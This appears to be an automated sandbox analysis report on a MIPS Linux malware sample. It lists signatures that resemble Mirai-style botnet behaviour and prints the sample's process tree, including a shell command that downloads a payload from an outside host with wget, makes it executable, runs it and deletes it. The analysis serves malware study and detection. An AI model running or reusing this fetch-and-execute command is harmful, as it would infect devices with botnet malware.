Analysis

  • max time kernel
    146s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/04/2024, 09:57

General

  • Target
    897ec1f635f44d6fa85e4a97d1b4887e_JaffaCakes118
  • Size 155KB
  • Sample240402-lzag5ade2w
  • SHA256 fcf12690bf21d443fe7a94ae392419e12d5f7a85e0b1a64040a1e665acf8bfc6
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Changes its process name 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/897ec1f635f44d6fa85e4a97d1b4887e_JaffaCakes118
    /tmp/897ec1f635f44d6fa85e4a97d1b4887e_JaffaCakes118
    1⤵
    • Changes its process name
    • Reads system routing table
    • Reads system network configuration
    PID:688
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
      2⤵
        PID:690
        • /usr/bin/wget
          wget -q http://gay.energy/.../vivid -O .....
          3⤵
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 .....
          3⤵
            PID:703
          • /tmp/.....
            ./.....
            3⤵
            • Executes dropped EXE
            PID:705
          • /bin/sh
            /bin/sh ./.....
            3⤵
              PID:705
            • /bin/rm
              rm -rf .....
              3⤵
                PID:707

          Network

                MITRE ATT&CK Enterprise v15

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